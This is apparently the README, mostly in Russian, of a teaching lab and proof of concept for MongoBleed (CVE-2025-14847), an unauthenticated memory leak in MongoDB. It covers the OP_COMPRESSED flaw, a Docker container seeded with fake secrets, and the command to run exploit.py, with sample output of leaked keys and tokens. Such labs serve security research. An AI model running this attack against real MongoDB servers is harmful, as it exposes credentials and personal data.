
MongoBleed(CVE-2025-14847)实验室和 PoC:一个完整的教学环境,用于重现 MongoDB 中严重的未认证内存泄漏。包括一个带有多种数据库种子数据(PII、API 密钥)的易受攻击的 Docker 容器,以及一个用于演示数据提取的 Python 漏洞利用。非常适合安全研究和意识提升。1 天分析。
Эта лаборатория предназначена для воспроизведения и анализа MongoBleed (CVE-2025-14847) — критической уязвимости в MongoDB. Эта ошибка позволяет неаутентифицированным злоумышленникам читать конфиденциальные данные из памяти сервера из-за некорректной обработки сжатых сообщений.
Окружение включает уязвимый экземпляр MongoDB, заполненный фиктивными чувствительными данными (PII, ключи API, финансовые записи), чтобы продемонстрировать серьёзность утечки.
CVE ID: CVE-2025-14847
Название: MongoBleed
Компонент: Wire Protocol (OP_COMPRESSED)
Уязвимые версии: MongoDB 6.0.x < 6.0.27, 7.0.x < 7.0.28, 8.0.x < 8.0.17 (и другие)
URL: Нажмите — NVD CVE-2025-14847
Уязвимость заключается в том, как MongoDB обрабатывает сообщения OP_COMPRESSED с использованием алгоритма сжатия zlib.
uncompressed_size в заголовке намеренно установлено значительно большим, чем фактический размер распакованных данных.uncompressed_size.zlib записывает фактический (маленький) полезный груз в начало этого буфера. Остальная часть буфера остаётся неинициализированной, содержа остаточные данные от предыдущих операций (артефакты ОЗУ).Лаборатория состоит из:
admin / secretpassword).init-mongo.js), который заполняет 3 отдельные базы данных для имитации реального окружения облачной инфраструктуры SaaS:
compute_instances: Чувствительные метаданные (скрипты User Data, ключи API).deployment_secrets: Высокоценные цели (токены K8s, ключи CI/CD, вебхуки Slack).users: Учётные данные пользователей, хеши паролей (Argon2) и резервные коды MFA (утекшие в открытом виде).query_logs: Содержит исторические запросы, некоторые из которых включают утёкшие учётные данные (например, ключи AWS).exploit.py), реализующий обратно спроектированную протокольную атаку.Запустите уязвимый контейнер. Это автоматически создаст базы данных и заполнит их данными.
docker-compose up -d
Подождите около 10-15 секунд, пока база данных инициализируется и загрузит данные.
Примечание: Если вы уже запускали эту лабораторию ранее, сбросьте том, чтобы загрузить актуальную структуру данных:
docker-compose down -v
docker-compose up -d
Вы можете установить необходимые зависимости с помощью pip, используя устаревший requirements.txt или современный pyproject.toml.
Вариант A: Использование requirements.txt (стандартный)
pip install -r requirements.txt
Вариант B: Использование pyproject.toml (современный) Это установит проект и его зависимости в текущее окружение.
pip install .
Мы предоставили скрипт проверки, чтобы убедиться, что база данных доступна и данные были корректно загружены.
python verify_lab.py
Этот скрипт использует учётные данные администратора для проверки существования баз данных, таких как sensitive_db, legacy_crm и т.д.
Запустите Python-скрипт для атаки на сервер. Для этого шага не требуются учётные данные, что демонстрирует неаутентифицированный характер уязвимости.
python exploit.py --host localhost --port 27017 --min 100 --max 5000
Скрипт выполняет следующие шаги:
OP_COMPRESSED с поддельным завышенным размером.Ожидаемый результат: Вы должны увидеть вывод, указывающий на найденные утечки по различным смещениям, а затем сводку обнаруженных секретов.
[*] MongoBleed Exploit (Custom Implementation)
[*] Target: localhost:27017
[*] Scanning memory offsets 100 to 5000...
[+] Offset 120 | ... dbmongotesting ... compute_instances ...
[+] Offset 145 | ... field name 'AKIAIOSFODNN7EXAMPLE' is not valid ... [!] FOUND AKIA
[+] Offset 210 | ... "token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ik16UTBOVFZ... [!] FOUND token
[*] Scan completed in 12.45s
[*] Total bytes leaked: 4502
[*] Unique fragments: 156
[*] Secrets Summary:
[!] Found pattern: AKIA
[!] Found pattern: token
[!] Found pattern: password
Для исправления этой уязвимости в производственных средах:
Этот проект лицензирован по лицензии MIT. Подробнее см. в файле LICENSE.
Данный материал предназначен только для образовательных и исследовательских целей. Не используйте этот эксплойт на системах, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за любое неправомерное использование этой информации или инструмента.
Joseph Meneses (ElJoamy)
Разработчик бэкенда и ИИ · Инженер по кибербезопасности · DBA · Специалист по тестированию на проникновение